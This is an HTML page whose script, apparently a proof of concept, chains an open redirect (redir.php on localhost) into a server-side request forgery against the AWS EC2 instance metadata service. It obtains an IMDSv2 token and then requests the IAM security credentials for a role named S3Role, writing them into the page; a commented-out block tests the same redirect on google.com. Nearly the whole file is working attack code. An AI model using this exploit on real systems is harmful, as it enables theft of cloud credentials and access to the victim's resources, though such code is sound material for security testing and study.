<!-- <html>
    <h1>hello there</h1>
    <div id="dynamic"></div>
    <script>
        var url = "http://localhost/redir.php?url=https://www.google.com";
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);
        xhr.send();
        document.getElementById("dynamic").innerHTML = xhr.responseText;
    </script>
</html> -->

<html>
    <h1>hello there</h1>
    <div id="tokenResponse"></div>
    <div id="metadataResponse"></div>
    <div id="error"></div>
    <script>
        var tokenUrl  = "http://localhost/redir.php?url=http://169.254.169.254/latest/api/token";
        var metadataURL = "http://localhost/redir.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role";
        var xhr  = new XMLHttpRequest();
        var token = '';
        try {
            xhr.open('PUT', tokenUrl, false);
            xhr.setRequestHeader('X-aws-ec2-metadata-token-ttl-seconds', '21600');
            xhr.send();
            token = xhr.responseText;
            document.getElementById("tokenResponse").innerHTML = "Token: " + token;

            xhr.open('GET', metadataURL, false);
            xhr.setRequestHeader('X-aws-ec2-metadata-token', token);
            xhr.send();
            
            // Added a word wrap (otherwise the data runs off the page)
            for (var i = 0; i < xhr.responseText.length; i++) {
                document.getElementById("metadataResponse").innerHTML += xhr.responseText[i];
                if (i %100 == 0) {
                    document.getElementById("metadataResponse").innerHTML += "\n";
                }
            }

        } catch(err) {
            document.getElementById('error').innerHTML = err.message;
        }
    </script>
</html>